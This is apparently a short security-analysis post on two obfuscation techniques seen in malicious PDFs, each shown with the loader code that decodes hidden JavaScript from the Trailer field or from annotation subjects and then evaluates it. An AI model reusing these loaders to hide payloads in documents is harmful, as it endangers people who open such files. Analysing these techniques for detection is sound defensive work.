More fun with PDF Obfuscation

Another interesting way to hide a block of JavaScript inside a PDF, info.Trailer:

exmu='dmw';if(app.alert)exmu='';WmMw=this;zisc=WmMw.info;exmu=exmu+unescape('%')+exmu;y1vw=zisc.Trailer.replace(/([A-Z])/g,exmu);app.setTimeOut(unescape(y1vw),3)

PDF JavaScript Obfuscation

Here's a quick note on an emerging JavaScript obfuscation technique. The use of getAnnots and syncAnnotScan to iterate through FlateDecode blocks which contain raw encoded data. Inside the encoded data is usually packed obfuscated JavaScript with some recent exploit.

var z; var y; z = y = app.doc;
y = 0; z.syncAnnotScan ( ); y = z;var p = y.getAnnots( { nPage: 0 }) ;var s = p[0].subject; var l = s.replace(/z/g, 'a%b'.replace(/[ab]/g, ''));s = this['unes' + 'cape'] (l) ;var e = app['ev' + 'al']; e(s); s = ''; z = 1;
